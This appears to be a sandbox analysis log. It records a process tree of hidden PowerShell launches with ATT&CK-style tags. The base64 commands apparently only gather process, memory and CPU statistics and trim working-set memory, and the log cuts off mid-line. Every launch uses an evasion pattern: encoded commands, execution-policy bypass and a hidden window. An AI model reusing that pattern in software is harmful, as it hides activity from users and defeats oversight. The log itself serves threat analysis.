  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:5368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:4168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAgACAAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIACgAgACAAIAAgACAAIAAgACAAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwAKACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAATQBlAG0AQwBvAHIAZQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBwAHMAYQBwAGkALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAARQBtAHAAdAB5AFcAbwByAGsAaQBuAGcAUwBlAHQAKABJAG4AdABQAHQAcgAgAGgAdwBQAHIAbwBjACkAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIgBAAAoAIAAgACAAIAAgACAAIAAgACQAaQBkACAAPQAgACQAUABJAEQACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBjACAAPQAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ASQBkACAAJABpAGQACgAgACAAIAAgACAAIAAgACAAWwBNAGUAbQBDAG8AcgBlAF0AOgA6AEUAbQBwAHQAeQBXAG8AcgBrAGkAbgBnAFMAZQB0ACgAJABwAHIAbwBjAC4ASABhAG4AZABsAGUAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:3828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAgACAAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIACgAgACAAIAAgACAAIAAgACAAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwAKACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAATQBlAG0AQwBvAHIAZQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBwAHMAYQBwAGkALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAARQBtAHAAdAB5AFcAbwByAGsAaQBuAGcAUwBlAHQAKABJAG4AdABQAHQAcgAgAGgAdwBQAHIAbwBjACkAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIgBAAAoAIAAgACAAIAAgACAAIAAgACQAaQBkACAAPQAgACQAUABJAEQACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBjACAAPQAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ASQBkACAAJABpAGQACgAgACAAIAAgACAAIAAgACAAWwBNAGUAbQBDAG8AcgBlAF0AOgA6AEUAbQBwAHQAeQBXAG8AcgBrAGkAbgBnAFMAZQB0ACgAJABwAHIAbwBjAC4ASABhAG4AZABsAGUAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgACAAIAAgACAA
    3⤵
    PID:2628
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\k1bfju4x\k1bfju4x.cmdline"
      4⤵
      PID:1652
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7BA0.tmp" "c:\Users\Admin\AppData\Local\Temp\k1bfju4x\CSC340C6FEF888F4AAB828D4137244F987.TMP"
        5⤵
        
        PID:2124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:4020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:1248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:4972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:5268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAg